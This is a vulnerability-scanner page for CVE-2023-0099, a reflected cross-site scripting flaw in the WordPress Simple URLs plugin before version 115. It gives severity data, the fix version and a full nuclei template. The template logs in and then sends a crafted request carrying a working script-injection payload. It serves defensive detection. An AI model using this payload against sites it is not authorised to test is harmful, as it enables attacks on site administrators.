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CVE-2023-0099· getlasso / simple urls· CWE-79

Simple URLs < 115 - Cross Site Scripting

mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it

The plugin does not sanitise and escape some parameters before outputting them back in some pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Impact

Successful exploitation of this vulnerability can lead to session hijacking, defacement of websites, theft of sensitive information, and potential remote code execution.

Fix

Fixed in version 115

How to confirm it

Send: POST /wp-login.php ; GET /wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E
Positive when: status_code_2 == 200 and contains(body, "</script><svg/onload=alert(document.domain)>") and contains(body_2, "search_term")

Run it with nuclei: nuclei -id CVE-2023-0099 -u <target>

The full check
id: CVE-2023-0099

info:
  name: Simple URLs < 115 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape some parameters before outputting them back in some pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Successful exploitation of this vulnerability can lead to session hijacking, defacement of websites, theft of sensitive information, and potential remote code execution.
  remediation: Fixed in version 115
  reference:
    - https://wpscan.com/vulnerability/fd50f2d6-e420-4220-b485-73f33227e8f8
    - https://wordpress.org/plugins/simple-urls/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0099
    - http://packetstormsecurity.com/files/176983/WordPress-Simple-URLs-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0099
    cwe-id: CWE-79
    epss-score: 0.0174
    epss-percentile: 0.77927
    cpe: cpe:2.3:a:getlasso:simple_urls:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: getlasso
    product: simple_urls
    framework: wordpress
  tags: wpscan,packetstorm,cve,cve2023,xss,simple-urls,authenticated,wordpress,wp,wp-plugin,getlasso,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body, "</script><svg/onload=alert(document.domain)>")'
          - 'contains(body_2, "search_term")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from